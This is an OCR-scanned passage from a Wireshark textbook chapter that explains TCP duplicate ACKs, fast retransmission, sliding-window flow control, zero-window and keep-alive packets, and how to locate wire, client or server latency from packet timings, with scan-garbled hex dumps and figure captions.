lil 2 0.000190 195.81:202 68 172.31.136.85 HTTP Continuation or non-HTTP traffic ocom] 


@ Frame 2: 1434 bytes on wire (11472 bits), 1434 bytes captured (11472 bits) 

Ethernet II, Src: 00:0b:be:72:15:00 (00:0b:be:72:15:00), Dst: 00:16:35:a4:c1:c6 (00:16:35:a4:c1:c6) 

Internet Protocol, Src: 195.81.202.68 (195.81.202.68), Dst: 172.31.136.85 (172.31.136.85) 

m Transmission Control Protocol, src Port: 80 (80), Dst Port: 38760 (38760), Seq: 1310984130, Ack: 704338729, Len: 1368 


Source port: 80 (80) 
Destination port: 38760 (38760) 
[stream index: 0] 
I Sequence number: 1310984130 @ 
| [Next sequence number: 1310985498] 
Acknowledgement number: 704338729 
Header length: 32 bytes 
Flags: 0x10 (ACK) 
window size: 108 
@ Checksum: Oxbdf7 [validation disabled] 
Options: (12 bytes) 
B [SEQ/ACK analysis] 
[Number of bytes in flight: 1368] 
||| Hypertext Transfer Protocol 


0020 88 55 WINE 


o 
o 
o 
3 


0040 (lags 9f ca 9 
0050 a3 24 a9 14 99 f6 e6 8f d2 92 94 8c 11 45 07 ae 


0060 69 29 41 c1 cf 14 74 a0 f5 e2 81 c6 Od 2f 3c 00 
|^ 7A 21 An £4 Q4 7h On ce £2 Qr 7a 15 k4 tn AF ho aa 


Dy 


Figure 9-9: The sequence number of this packet is not what is expected. 


Unfortunately for us and our recipient, the sequence number of the 
next packet is 1310984130 6, which is not what we are expecting. This ind 
cates that the expected packet was somehow lost in transit. The recipient 


is 


host notices that this packet is out of sequence and sends a duplicate ACK in 


the third packet of this capture, as shown in Figure 9-10. 


@ 3 0.000011 172.31.136.85 195.81.202.68 TCP [TCP Dup ACK 1#1] 38760 > 80 [ACK] Seq=704338729 Ack=1310973186 Win=382 Len=0 TSV-22247173 sica] ea =a) 


m Frame 3: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) 
Ethernet II, Src: 00:16:35:a4:c1:c6 (00:16:35:a4:c1:c6), Dst: 00:00:0c:07:ac:01 (00:00:0c:07:ac:01) 
Internet Protocol, Src: 172.31.136.85 (172.31.136.85), Dst: 195.81.202.68 (195.81.202.68) 
E Transmission Control Protocol, src Port: 38760 (38760), Dst Port: 80 (80), Seq: 704338729, Ack: 1310973186, Len: 0 
Source port: 38760 (38760) 
Destination port: 80 (80) 
[stream index: 0] 
Sequence number: 704338729 
Acknowledgement number: 1310973186 
Header length: 44 bytes 
1 Flags: 0x10 (ACK) 
window size: 382 
Checksum: Oxcc66 [validation disabled] 
Options: (24 bytes) 
&E [sEQ/ACK analysis] 
B [TCP Analysis Flags] 
[This is a TCP duplicate ack] 
[Duplicate ACK #: 1] 
a [Duplicate to the ack in frame: 11@ 


[Expert Info (Note/Sequence): Duplicate ACK (#1)] 


J 


o000 00 Oc 07 ac O1 00 16 35 a4 ci c6 O8 OO 45 00 
[A EEOO 40 2f 41 40 00 40 06 49 6c ac 1f 88 55 c3 51 
(Pca 44 97 68 00 50 29 fb 5b 29 4e 23 dd 02 bO 10 
[EMO1 7e cc 66 00 OO O1 O1 08 Oa O1 53 77 O5 OO E 
[E54 82 01 O1 05 Oa 4e 23 f2 62 4e 24 Od la 


KU) 


Figure 9-10: The first duplicate ACK packet 


You can determine that this is a duplicate ACK packet by examining 
either of the following: 


e The Info column in the Packet Details pane. The packet should appear 


as red text on a black background. 
e The Packet Details pane under the SEQ/ACK Analysis heading. If you 


expand this heading, you will find that the packet is listed as a duplicate 


ACK of packet 1. 


The next several packets continue this process, as shown in Figure 9-11. 
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No. Time Source Destination Protocol Info 
1 0.000000 172.31.136.85 195.81.202.68 TCP 38760 > 80 [ACK] Seq=704338729 Ack=1310973186 win-382 Len=0 TSV-22247173 TSER=| 
2 0.000190 195.81. 202.68 172. 31.136. 85 HTTP Continuation or non-HTTP traffic 


4 0.000093 195. 81.202. 68 172. 31.136. 85 


Continuation or non-HTTP traffic 


EO 
E 


6 0.000121 195.81.202.68 172.31.136.85 Continuation or non-HTTP traffic 


Figure 9-11: Additional duplicate ACKs are generated due to out-of-order packets. 


The fourth packet in the capture file is another chunk of data sent 
from the transmitting host with the wrong sequence number 6. Asa 
result, the recipient host sends its second duplicate ACK 60. One more 
packet with the wrong sequence number is received by the recipient 6. 
That forces the transmission of the third and final duplicate ACK 0. 

As soon as the transmitting host receives the third duplicate ACK from 
the recipient, it is forced to halt all packet transmission and resend the lost 
packet. Figure 9-12 shows the fast retransmission of the lost packet. 


lil] 8 0.000092 195.81.202.68 172.31.136.85 HTTP [TCP Fast Retransmission] Continuation or non-HTTP traffic [eos os =a 
Œ Frame 8: 1434 bytes on wire (11472 bits), 1434 bytes captured (11472 bits) ^| 
Ethernet II, Src: 00:0b:be:72:15:00 (00:0b:be:72:15:00), Dst: 00:16:35:a4:c1:c6 (00:16:35:a4:c1:c6) 3 
Internet Protocol, src: 195.81.202.68 (195.81.202.68), Dst: 172.31.136.85 (172.31.136.85) 
m Transmission Control Protocol, src Port: 80 (80), Dst Port: 38760 (38760), Seq: 1310973186, Ack: 704338729, Len: 1368 
Source port: 80 (80) 
Destination port: 38760 (38760) 
[stream index: 0] 
Sequence number: 1310973186 
[Next sequence number: 1310974554] 
Acknowledgement number: 704338729 
Ii Header length: 32 bytes 
l| & Flags: 0x10 (ack) 
i window size: 108 
@ Checksum: 0x9364 [validation disabled] 
@ Options: (12 bytes) 
& [SEQ/ACK analysis] 
[Number of bytes in flight: 15048] 
© [TCP Analysis Flags] 


m 


| & [This frame is a (suspected) fast retransmission] 
Œ [Expert Info (warn/Sequence): Fast retransmission (suspected)] 
| [This frame is a (suspected) retransmission] uj 
& Hypertext Transfer Protocol v: 


0020 88 55 METEJ 65 4e 23 dd 02 29 fb 5b 29 80 10 
PMENNEMOO 6c 93 64 OO OO O1 Oi 08 Oa OO 14 54 82 O1 53| 
0040 Eds fd 2a 2e 08 3c f4 a0 80 09 c5 18 00 73 f9 
0050 52 81 c9 e8 29 09 f5 14 9c 67 bd 28 00 Ba 07 6c 
0060 d2 76 c7 6a 00 cf ff 00 5a 83 c1 a5 e8 07 6e 69 


Figure 9-12: The duplicate ACKs cause this fast retransmission of the lost packet. 


The retransmission packet is once again noticeable through the Info col- 
umn in the Packet List pane. As with previous examples, the packet is clearly 
labeled with red text on a black background. The SEQ/ACK Analysis section 
of this packet tells us that this is suspected to be a fast retransmission ®. 
(Once again, the information that labels this packet as a fast retransmission 
is not a value set in the packet itself, but rather a feature of Wireshark.) The 
final packet in the capture is an ACK packet acknowledging receipt of the 
fast retransmission. 


NOTE One feature to consider that may affect the flow of data in TCP communications where 
packet loss is present is the Selective Acknowledgement feature. In the packet capture 
above, Selective ACK was negotiated as an enabled feature during the initial three-way 
handshake process. As a result, whenever a packet is lost and a duplicate ACK received, 
only the lost packet has to be retransmitted, even though other packets were received suc- 
cessfully after the lost packet. Had Selective ACK not been enabled, every packet occur- 
ring after the lost packet would have had to be retransmitted as well. Selective ACK makes 
data loss recovery much more efficient. Because most modern TCP/IP stack implemen- 
tations support Selective ACK, you should usually find that this feature is implemented. 
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TCP Flow Control 


Retransmissions and duplicate ACKs are reactive TCP functions designed to 
recover from packet loss. TCP would be a poor protocol if it didn't include 
some form of proactive method for preventing packet loss, but luckily it does. 

TCP implements a sliding-window mechanism to detect when packet loss 
may occur and adjust the rate of data transmission to prevent this. The sliding- 
window mechanism leverages the data recipient's receive window to control 
the flow of data. 

The receive window is a value specified by the data recipient and stored 
in the TCP header (in bytes) that tells the transmitting device how much 
data it is willing to store in its TCP buffer space. This buffer space is where data 
is stored temporarily until it can be passed up the stack to the application 
layer protocol waiting to process it. As a result, the transmitting host can send 
only the amount of data specified in the Window Size field at one time. In 
order for the transmitter to send more data, the recipient must send an 
acknowledgment that the previous data was received. It also must clear TCP 
buffer space by processing the data that is occupying that position. Figure 9-13 
illustrates how the receive window works. 


Client Server 

Buffer Space Available Window Size 

2500 Bytes 3 2500 Bytes 5000 Bytes 

2000 Bytes Y 500 Bytes 5000 Bytes 

€ ACK 5000 Bytes 5000 Bytes 
3000 Bytes 2) 2000 Bytes 5000 Bytes 
1000 Bytes 2) 1000 Bytes 5000 Bytes 

C ACK 5000 Bytes 5000 Bytes 


Figure 9-13: The receive window keeps the data recipient from getting overwhelmed. 


In Figure 9-13, the client is sending data to a server that has communi- 
cated a receive window size of 5,000 bytes. The client sends 2,500 bytes, 
reducing the server's buffer space to 2,500 bytes, and then sends another 
2,000 bytes, further reducing the buffer to 500 bytes. The server then sends 
an acknowledgment of this data. It processes the data in its buffer and then 
has an empty buffer available. This process repeats, with the client sending 
3,000 bytes and another 1,000 bytes, reducing the server's buffer to 1,000 
bytes. The client once more acknowledges this data and processes the con- 
tents of its buffer. 
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Adjusting the Window Size 


This process of adjusting the window size is fairly clear-cut, but it isn’t always 
perfect. Whenever data is received by the TCP stack, an acknowledgment is 
generated and sent in reply, but the data placed in the recipient’s buffer is 
not always processed immediately. 

When a busy server is processing packets from multiple clients, it’s quite 
possible that the server could be slow in clearing its buffer and not be able to 
make room for new data to be received. With no means of flow control, this 
could lead to packets being lost and corruption of data. Fortunately, when a 
server becomes too busy to process data at the rate its receive window is adver- 
tising, it can adjust the size of the receive window. It does this by decreasing 
the window size value in the TCP header of the ACK packet it is sending back 
to the hosts that are sending it data. Figure 9-14 shows an example of this. 


Client Server 

Buffer Space Available Window Size 

2000 Bytes D 3000 Bytes 5000 Bytes 

2000 Bytes Y 1000 Bytes 5000 Bytes 

e ACK - Window Update: 1000 Bytes 5000 Bytes 000 Bytes 
800 Bytes 5 200 Bytes 000 Bytes 

150 Bytes » 50 Bytes 000 Bytes 

€ ACK 1000 Bytes 000 Bytes 


Figure 9-14: The window size can be adjusted when the server becomes busy. 


In Figure 9-14, the server starts with an advertised window size of 5,000 bytes. 
The client sends 2,000 bytes, followed by another 2,000 bytes, leaving only 
1,000 bytes of buffer space available. The server realizes that its buffer is fill- 
ing up quickly. It knows that if data transfer keeps up at this rate, packets will 
soon be lost. To rectify this, the server sends an acknowledgment to the cli- 
ent with an updated window size of 1,000 bytes. As a result, less data is sent by 
the client, and the server can process its buffer contents at an acceptable rate 
that allows data to flow in a constant manner. 

The resizing process works both ways. When the server can process data 
at a faster rate, it can send an ACK packet with a larger window size. 


tcp zerowindow- 
recovery.pcap 
tcp zerowindow- 
dead.pcap 


Halting Data Flow with a Zero Window Notification 


In some cases, a server can no longer process data sent from a client. This 
might be due to a lack of memory, lack of processing capability, or another 
problem. This could result in packets being dropped and the communication 
process halting, but the receive window can help minimize the negative impact. 

When this situation arises, a server can send a packet that contains a 
window size of zero. When the client receives this packet, it will halt any data 
transmission but will keep the connection to the server open with the trans- 
mission of keep-alive packets. Keep-alive packets are sent by the client at regular 
intervals to check the status of the server's receive window. Once the server 
can begin processing data again, it will respond with a nonzero window size, 
and communication will resume. Figure 9-15 illustrates an example of zero 
window notification. 


SS 


Client Server 


[ Buffer Space Available Window Size 


2000 Bytes ) 3000 Bytes 5000 Bytes 


2000 Bytes ) 1000 Bytes 5000 Bytes 


( ACK - Window Update: O Bytes O Bytes O Bytes 


[ Keep Alive 3 O Bytes O Bytes 
( ACK - Window Update: 1000 Bytes 1000 Bytes 1000 Bytes 


900 Bytes ) 100 Bytes 1000 Bytes 


Figure 9-15: Data transfer stops when the window size is set to O bytes. 


In Figure 9-15, the server begins receiving data with a 5,000-byte window 
size. After receiving 4,000 bytes of data from the client, the server begins 
experiencing a very heavy processor load, and can no longer process any 
data from the client. The server then sends a packet with the Window Size 
field set to 0. The client halts transmission of data and sends a keep-alive 
packet. After the keep-alive packet, the server responds with a packet notifying 
the client that it can now receive data, and that its window size is 1,000 bytes. 
The client resumes sending data. 


The TCP Sliding Window in Practice 
Having covered the theory behind the TCP sliding window, we will now exam- 
ine it in the capture file tcp. zerowindowrecovery.pcap. 

In this file, we begin with several TCP ACK packets traveling from 
192.168.0.20 to 192.168.0.30. The main value of interest to us is the Window 
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Size field, which can be seen in both the Info column of the Packet List pane 
and in the TCP header in the Packet Details pane. You can see immediately 
that this field's value decreases over the course of the first three packets, as 
shown in Figure 9-16. 


No. Time @ Source Destination Protocol Info ] 
1 0.000000 192.168.0.20 192.168.0.30 TCP 2235 > 1720 [ACK] Seq=1422793785 Ack-2710996659 win-8760 Len=0 
2 0.000237 192.168.0.20 192.168.0.30 TCP 2235 > 1720 [ACK] Seq-1422793785 Ack=2710999579 win-5840 Len=0 | 
3 0.000193 192.168. 0. 20 192.168. 0.30 TCP 2235 > 1720 [ACK] Seq-1422793785 Ack-2711002499 win-2920 Len-0| 


Figure 9-16: The window size of these packets is decrementing. 


This value goes from 8,760 bytes in the first packet to 5,840 bytes in the 
second packet and then 2,920 bytes in the third packet ®. This lowering of 
the window size value is a classic indicator of increased latency from the host. 
Notice in the Time column that this happens very quickly @. When the win- 
dow size is lowered this fast, it's common for the window size to drop to zero, 
which is exactly what happens in the fourth packet, as shown in Figure 9-17. 


—— — A 
lll 4 0.000202 192.168.020 192.168.030 TCP [TCP ZeroWindow] 2235 > 1720 [ACK] eq 1422793785 Ack-2711005419 Win=0 Len=0 Erer <) 


8$ Frame 4: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) 

& Ethernet II, Src: 00:50:56:c0:00:08 (00:50:56:c0:00:08), Dst: 00:50:56:c0:00:01 (00:50:56:c0:00:01) 

8 Internet Protocol, Src: 192.168.0.20 (192.168.0.20), Dst: 192.168.0.30 (192.168.0.30) 

m Transmission Control Protocol, Src Port: 2235 (2235), DSt Port: 1720 (1720), Seq: 1422793785, Ack: 2711005419, Len: O 


Source port: 2235 (2235) 
Destination port: 1720 (1720) 
[stream index: 0] 

Sequence number: 1422793785 
Acknowledgement number: 2711005419 
Header length: 20 bytes 


3 Flags: 0x10 (ACK) 
| window size: 0 o 
|| w Checksum: 0x6355" [validation disabled] 
| © [SEQ/ACK analysis] 
[ & [TCP Analysis Flags] 
& [This is a zerowindow segment] @ 
© [Expert Info (warn/sequence): Zero window] 
[Message: zero window] 
[severity level: warn] 
[Group: Sequence] 


0000 00 50 56 cO 00 01 00 50 56 cO 00 08 08 OO 45 00 
0010 00 28 8b bc 40 00 40 O6 2d 91 cO a8 00 14 cO a8 

b bs ic 39 al 96 a8 eb 50 10 
00 00 00 00 


Figure 9-17: This zero window packet says that the host cannot accept any more data. 


The fourth packet is also being sent from 192.168.0.20 to 192.168.0.30, 
but its purpose is to tell 192.168.0.30 that it can no longer receive any data. 
The 0 value is seen in the TCP header 6, and Wireshark also tells us that this 
is a zero window packet in the Info column of the Packet List pane and under 
the SEQ/ACK Analysis section of the TCP header 6. 

Once this zero window packet is sent, the device at 192.168.0.30 will not 
send any more data until it receives a window update from 192.168.0.20 noti- 
fying it that the window size has increased. Luckily for us, the issue causing 
the zero window condition in this capture file was only temporary. So, a 
window update is sent in the next packet, as shown in Figure 9-18. 

In this case, the window size is increased to a very healthy 64,240 bytes 6. 
Wireshark once again lets us know that this is a window update under the 
SEO/ACK Analysis heading. 


lil 5 0.010005 192.168.0.20 192.168.0.0 TCP [TCP Window Update] 2235 > 1720 [ACK] Seq=1422793785 Ack=2711005419 Win=64240 Len-0 

Frame 5: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) 

Ethernet II, Src: 00:50:56:c0:00:08 (00:50:56:c0:00:08), Dst: 00:50:56:c0:00:01 (00:50:56:c0:00:01) 
Œ Internet Protocol, Src: 192.168.0.20 (192.168.0.20), Dst: 192.168.0.30 (192.168.0.30) 


m Transmission Control Protocol, Src Port: 2235 (2235), Dst Port: 1720 (1720), Seq: 1422793785, Ack: 2711005419, Len: 0 

Source port: 2235 (2235) 
Destination port: 1720 (1720) 
[Stream index: 0] 
Sequence number: 1422793785 
Acknowledgement number: 2711005419 
Header length: 20 bytes 

i Flags: 0x10 (ACK) 
window size: 64240 


@ Checksum: Ox6864 [validation disabled] 
-HESHUZACK"BRAIVSTETSS 0 88 SUR aee OUUUUUUUUUUNE-UUUUUUUUUUUUUUU Ue esent] 
Eius ucro a RR RI IOCIS ee! 
POO BL Oe a UTOR IO a | 


5 [Expert Info (Chat/Sequence): window update] 
[Message: window update] 
[severity level: chat] 
[Group: Sequence] 


(0000 00 50 56 cO 00 O1 00 50 56 cO 00 08 08 0045 O0 . 
0010 00 28 8b bd 40 00 40 O6 2d 90 cO a8 00 14 cO a8 
0020 00 1e BEEEINDDEEEEETEECNESTSET al 96 a8 eb 50 10 
0030 (MMMM) 00 00 00 00 00 00 


Figure 9-18: A TCP window update packet lets the other host know it can begin 
transmitting again. 


Once the update packet is received, the host at 192.168.0.30 can begin 
sending data again, as it does in packets 6 and 7. This process takes place very 
quickly. Had it lasted only slightly longer, it could have caused a potential 
hiccup on the network, resulting in a slower or failed data transfer. 

As one last look at the sliding window, examine the file tcp_ 
zerowindowdead.pcap. The first packet in this capture is normal HTTP 
traffic being sent from 195.81.202.68 to 172.31.136.85. The packet is 
immediately followed with a zero window packet sent back from 
172.31.136.85, as shown in Figure 9-19. 


ua 2 0.000029 172.31.136.85 195.81.202.68 TCP [TCP ZeroWindow] 38760 > 80 [ACK] Seq- 704338729 Ack=1310997786 Win=0 Len=0 TSV- 22248305 TSER- 1333486 lalak 


@ Ethernet II, Src: 00:16:35:a4:c1:c6 (00:16:35:a4:c1:c6), Dst: 00:00:0c:07:ac:01 (00:00:0c:07:ac:01) 
& Internet Protocol, Src: 172.31.136.85 (172.31.136.85), Dst: 195.81.202.68 (195.81.202.68) 


m Transmission Control Protocol, Src Port: 38760 (38760), Dst Port: 80 (80), seq: 704338729, Ack: 1310997786, Len: O 
Source port: 38760 (38760) 

Destination port: 80 (80) 

[stream index: 0] 

Sequence number: 704338729 

Acknowledgement number: 1310997786 

Header length: 32 bytes 

l| Flags: 0x10 (ACK) 

| window size: 0 


checksum: 0x36d0 [validation disabled] 
Options: (12 bytes) 
I © [SEQ/ACK analysis] 

[This is an ACK to the segment in frame: 1] 

[The RTT to ACK the segment was: 0.000029000 seconds] 
& [TCP Analysis Flags] 

& [This is a zerowindow segment] 

[Expert Info (warn/sequence): Zero window] 


0010 00 34 2f 49 40 00 40 06 49 70 ac 1f 88 55 c3 51 
Pte Wem” 68 00 50 29 Th 5b 29 4e 24 3d la 80 10 
(EL MOO OO 36 dO OO OO O1 O1 08 Oa O1 53 7b 71 OO 14| 
0040 ENG 


m 


Figure 9-19: Zero window packet halting data transfer 


This looks very similar to the zero window packet shown in Figure 9-17, 
but the result is much different. Rather than the 172.31.136.85 host sending 
a window update and communication resuming, we see a keep-alive packet, 
as shown in Figure 9-20. 
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@ 3 3.410576 195.81.202.68 172.31.136.85 TCP [TCP Keep-Alive] 80 > 38760 [ACK] Seq=1310997785 Ack=704338729 Win=108 Len=0 TSV=1334338 TSER=22248305 rex} 


|@ Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
|Œ Ethernet II, Src: 00:0b:be:72:15:00 (00:0b:be:72:15:00), Dst: 00:16:35:a4:c1:c6 (00:16:35:a4:c1:c6) 
| Internet Protocol, Src: 195.81.202.68 (195.81.202.68), Dst: 172.31.136.85 (172.31.136.85) 
= Transmission Control Protocol, Src Port: 80 (80), Dst Port: 38760 (38760), Seq: 1310997785, Ack: 704338729, Len: 0 
| Source port: 80 (80) 
Destination port: 38760 (38760) 
[stream index: 0] 
Sequence number: 1310997785 
Acknowledgement number: 704338729 
Header length: 32 bytes 
& Flags: 0x10 (ACK) 
window size: 108 
& Checksum: 0x3311 [validation disabled] 
& Options: (12 bytes) 
5 [sEQ/ACK analysis] 
5 [TCP Analysis Flags] 
5 [This is a TCP keep-alive segment] (1) 
E [Expert Info (Note/Sequence): Keep-Alive] 
[Message: Keep-Alive] 
| [severity level: Note] 
(Group: Sequence] 


0010 00 34 ac 02 40 00 35 06 d7 b6 c3 51 ca 44 ac 1f 
0020 88 55 UDEETUNCYNES: 5 3 

0030 6c 33 11 00 
|0040 


68 4e 24 d 19 29 fb 5b 29 80 10 
00 01 01 08 Oa 00 14 5c 42 01 53 


«Em > 


Figure 9-20: This keep-alive packet ensures the zero window host is still alive. 


This packet is marked as a keep-alive by Wireshark under the SEQ/ACK 
Analysis section of the TCP header in the Packet Details pane 6. The Time 
column tells us that this packet occurred 3.4 seconds after the last received 
packet. This process continues several more times, with one host sending a 
zero window packet and the other sending a keep-alive packet, as shown in 
Figure 9-21. 


Time Source 


Destination Protocol Info 


Figure 9-21: The zero window and keep-alive packets keep occurring over time. 
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These keep-alive packets occur at intervals of 3.4, 6.8, and 13.5 seconds 6. 
This process can go on for quite a long time, depending on the operating 
systems of the communicating devices. In this case, as you can see by adding up 
the values in the Time column, the connection is halted for nearly 25 seconds. 
Imagine attempting to authenticate with a domain controller or download a 
file from the Internet while experiencing a 25-second delay—unacceptable! 


Learning from TCP Error-Control and Flow-Control Packets 


Chapter 9 


Let's put retransmission, duplicate ACKs, and the sliding-window mechanism 
into some context. Here are a few notes to keep in mind when troubleshoot- 
ing latency issues: 


Retransmission packets 
Retransmissions occur because the client has detected that the server is 
not receiving the data it’s sending. Therefore, depending on the side of 
the communication you are analyzing, you may never see retransmissions. 
If you are capturing data from the server, and it is truly not receiving the 
packets being sent and retransmitted from the client, you may be left in 
the dark because you won't see the retransmission packets. If you suspect 


that you are the victim of packet loss on the server side, consider attempt- 
ing to capture traffic from the client (if possible) so that you can actually 
see if retransmission packets are present. 


Duplicate ACK packets 
Itend to think of a duplicate ACK as the pseudo-opposite of a retrans- 
mission, because it is sent when the server detects that a packet from the 
client itis communicating with was lost in transit. In most cases, you can 
see duplicate ACKs when capturing traffic on both sides of the communi- 
cation. Remember that duplicate ACKs are triggered when packets are 
received out of sequence. For example, if the server received just the first 
and third of three packets sent, that would cause a duplicate ACK to be 
sent to elicit a fast retransmission of the second packet from the client. 
Since you have received the first and third packets, it's likely that whatever 
condition caused the second packet to be dropped was only temporary, 
so the duplicate ACK would be sent and received successfully in most cases. 
Of course, this scenario isn't true all the time, so when you suspect packet 
loss on the server side and don't see any duplicate ACKs, consider captur- 
ing packets from the client side of the communication. 


Zero window and keep-alive packets 
The sliding window directly relates to the server's inability to receive 
and process data. Any decrease in the window size or zero window states 
are a direct result of some issue with the server, so if you see either 
occurring on the wire, you should focus your investigation there. You 
should typically always see window update packets on both sides of net- 
work communications. 


Locating the Source of High Latency 


NOTE 


In some cases, packet loss may not be the cause of latency. You may find that 
even though communications between two hosts are slow, that slowness doesn't 
show the common symptoms of TCP retransmissions or duplicate ACKs. In 
cases such as these, you need another technique to locate the source of the 
high latency. 

One of the most effective ways to find the source of high latency is to 
examine the initial connection handshake and the first couple of packets 
that follow it. For example, consider a simple connection between a client 
and a web server as the client attempts to browse a site hosted on the web 
server. The portion of this communication sequence we are concerned with 
is the first six packets, consisting of the TCP handshake, the initial HTTP GET 
request, the acknowledgment to that GET request, and the first data packet 
sent from the server to the client. 


In order to follow along with this section, ensure that you have the proper time display 
format set in Wireshark by selecting View » Time Display Format » Seconds Since Pre- 
vious Displayed Packet. 
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latency 1.pcap 


Normal Communications 


We'll discuss network baselines in detail a little later in the chapter. For now, 
just know that you need a baseline of normal communications to compare 
with the conditions of high latency. For these examples, we will use the file 
latencyl.pcap. We have already covered the details of the TCP handshake and 
HTTP communication, so we won't review those topics again. In fact, we won't 
look at the Packet Details pane at all. All we are really concerned about is the 
Time column, as shown in Figure 9-22. 


Destination Protocol Info 
16.128 74.125.95.104 TCP 1606 > 80 [SYN] Seq=2082691767 win-8192 Len=0 MSS-1460 ws-2 
95.104 172.16.16.128 TCP 80 > 1606 [SYN, ACK] Seq-2775577373 Ack-2082691768 win-5720 Len-0 MSS-1406 ws-6 
16.128 74.125.95.104 TCP 1606 > 80 [ACK] Seq=2082691768 Ack-2775577374 win-4218 Len=0 
16.128 74.125.95.104 HTTP GET / HTTP/1.1 
95.104 172.16.16.128 TCP 80 > 1606 [ACK] Seq=2775577374 Ack=2082692395 win-109 Len=0 
95.104 172.16.16.128 TCP [TCP segment of a reassembled PDU] 


Figure 9-22: This 


latency2.pcap 


traffic happens very quickly and can be considered normal. 


This communication sequence is quite quick. The entire process takes 
less than 0.1 seconds. 

The next few capture files we’ll examine will consist of this same traffic 
pattern with a few differences in the timing of the packets. 


Slow Communications—Wire Latency 


Now let's turn to the capture file latency2.pcap. Notice that all of the packets 
are the same except for the time values in two of them, as shown in Figure 9-23. 


E: 


Oo ubhwuNH 
o"Proooo 


ime 


. 000000 
.878530 
.016604 
. 000335 
.155228 
.015866 


Destination Protocol Info 
172.16.16.128 74.125.95.104 TCP 1606 > 80 [SYN] Seq=2082691767 win-8192 Len=0 MSS-1460 ws-2 
95.104 172.16.16.128 TCP 80 > 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 win-5720 Len-0 MSS=1406 wS-6 
16.128 74.125.95.104 TCP 1606 > 80 [ACK] Seq=2082691768 Ack=2775577374 win-4218 Len=0 
172.16.16.128 74.125.95.104 HTTP GET / HTTP/1.1 
95.104 172.16.16.128 TCP 80 > 1606 [ACK] Seq-2775577374 Ack=2082692395 win-109 Len=0 
95.104 172.16.16.128 TCP [TCP segment of a reassembled PDU] 
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Figure 9-23: Packets 2 and 5 depict high latency 


As we begin stepping through these six packets, we encounter our first 
sign of latency immediately. The initial SYN packet is sent by the client 
(172.16.16.128) to begin the TCP handshake, and a delay of 0.87 seconds is 
seen before the return SYN/ACK is received from the server (74.125.95.104). 
This is our first indicator that we are experiencing wire latency, which is 
caused by a device between the client and server. 

We can make the determination that this is wire latency because of the 
nature of the types of packets being transmitted. When the server receives a 
SYN packet, a very minimal amount of processing is required to send a reply, 
because the workload doesn't involve any processing above the transport 
layer. Even when a server is experiencing a very heavy traffic load, it will typi- 
cally respond to a SYN packet with a SYN/ACK rather quickly. This eliminates 
the server as the potential cause of the high latency. 

The client is also eliminated because, at this point, it is not doing any 
processing beyond the actual receipt of the SYN/ACK packet. 

Elimination of both the client and server points us to potential sources 
of slow communication within the first two packets of this capture. 


Continuing on, we see that the transmission of the ACK packet that com- 
pletes the three-way handshake occurs quickly, as does the HTTP GET request 
sent by the client. All of the processing that generates these two packets occurs 
locally on the client following receipt of the SYN/ACK, so these two packets 
are expected to be transmitted quickly, as long as the client is not under a 
heavy processing load. 

At packet 5, we see another packet with an incredibly high time value. 
It appears that after our initial HTTP GET request was sent, the ACK packet 
returned from the server took 1.15 seconds to be received. Upon receipt of 
the HTTP GET request, the server first sent a TCP ACK before it began send- 
ing data, which once again requires very little processing by the server. This 
is another sign of wire latency. 

Whenever you experience true wire latency, you will almost always see it 
exhibited in both the SYN/ACK during the initial handshake and in other 
ACK packets throughout the communication. Although this information 
doesn't tell you the exact source of the high latency on this network, it does 
tell you that neither client nor server is the source, so you know that the 
latency is due to some device in between. At this point, you could begin 
examining the various firewalls, routers, and proxies between the affected 
host to locate the culprit. 


Slow Communications—Client Latency 


latency3.pcap The next latency scenario we'll examine is contained in the file latency3.pcap, 
as shown in Figure 9-24. 


No. Time Source Destination Protocol Info 
1 0.000000 172.16.16.128 74.125.95.104 TCP 1606 > 80 [SYN] Seq=2082691767 win=8192 Len-0 MSS-1460 wS-2 
2 0.023790 74.125.95.104 172.16.16.128 TCP 80 > 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 win-5720 Len=0 MSS-1406 wS-6 
3 0.014894 172.16.16.128 74.125.95.104 TCP 1606 > 80 [ACK] Seq=2082691768 Ack=2775577374 Win-4218 Len=0 
4 1.345023 172.16.16.128 74.125.95.104 HTTP GET / HTTP/1.1 
5 0.046121 74.125.95.104 172.16.16.128 TCP 80 > 1606 [ACK] Seq-2775577374 Ack-2082692395 win-109 Len=0 
6 0.016182 74.125.95.104 172.16.16.128 TCP [TCP segment of a reassembled PDU] 


Figure 9-24: The slow packet in this capture is the initial HTTP GET 


This capture begins normally, with the TCP handshake occurring very 
quickly and without any signs of latency. Everything appears to be fine until 
packet 4, an HTTP GET request after the handshake has completed. This packet 
shows a 1.34-second delay from the previously received packet. 

We need to examine what is occurring between packets 3 and 4 in order 
to determine the source of this delay. Packet 3 is the final ACK in the TCP 
handshake sent from the client to the server, and packet 4 is the GET request 
sent from the client to the server. The common thread here is that these are 
both packets sent by the client and are independent of the server. The GET 
request should occur quickly after the ACK is sent, since all of these actions 
are centered on the client. 

Unfortunately for the end user, the transition from ACK to GET doesn't 
happen quickly. The creation and transmission of the GET packet does require 
processing up to the application layer, and the delay in this processing indi- 
cates that the client was unable to perform the action in a timely manner. 
This means that the client is ultimately responsible for the high latency in 
the communication. 
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Slow Communications—Server Latency 


latency4.pcap The last latency scenario we'll examine uses the file /atency4.pcap, as shown in 
Figure 9-25. This is an example of server latency. 
No. Time Source Destination Protocol Info 
1 0.000000 172.16.16.128 74.125.95.104 TCP 1606 > 80 [SYN] Seq=2082691767 win=8192 Len=0 MSS=1460 wS-2 
2 0.018583 74.125.95.104 172.16.16.128 TEF 80 > 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 win-5720 Len=0 MSS-1406 wS-6 
3 0.016197 172.16.16.128 74.125.95.104 TCP 1606 > 80 [ACK] Seq=2082691768 Ack=2775577374 win=4218 Len=0 
4 0.000172 172.16.16.128 74.125.95.104 HTTP GET / HTTP/1.1 
5 0.047936 74.125.95.104 172.16.16.128 TCP 80 > 1606 [ACK] Seq-2775577374 Ack=2082692395 win-109 Len=0 
6 0.982983 74.125.95.104 172.16.16.128 TCP [TCP segment of a reassembled PDU] 


Figure 9-25: High latency isn't exhibited until the last packet of this capture. 


182 


NOTE 


Chapter 9 


In this capture, the TCP handshake process between these two hosts 
completes flawlessly and quickly, so things begin well. The next couple 
of packets bring more good news, as the initial GET request and response 
ACK packets are delivered quickly as well. It is not until the last packet in 
